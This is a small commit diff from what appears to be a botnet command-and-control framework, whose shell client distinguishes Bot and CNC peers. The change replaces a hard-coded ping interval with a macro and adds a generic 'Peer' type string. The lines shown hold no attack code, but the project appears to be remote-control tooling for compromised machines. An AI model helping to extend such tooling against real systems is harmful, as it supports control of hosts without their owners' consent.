Lib: added PEER_PEER type for uninitalized peers

- defined LAIKA_PING_INTERVAL for the ping task

shell/src/sclient.c

@@ -222,7 +222,7 @@ void shellC_init(tShell_client *client)
     client->peerTblCount = 0;
 
     laikaT_initTaskService(&client->tService);
-    laikaT_newTask(&client->tService, 5000, shell_pingTask, client);
+    laikaT_newTask(&client->tService, LAIKA_PING_INTERVAL, shell_pingTask, client);
 
     /* load authenticated keypair */
     if (sodium_init() < 0) {

shell/src/speer.c

@@ -35,6 +35,8 @@ void shellP_freePeer(tShell_peer *peer)
 char *shellP_typeStr(tShell_peer *peer)
 {
     switch (peer->type) {
+    case PEER_PEER:
+        return "Peer";
     case PEER_BOT:
         return "Bot";
     case PEER_CNC: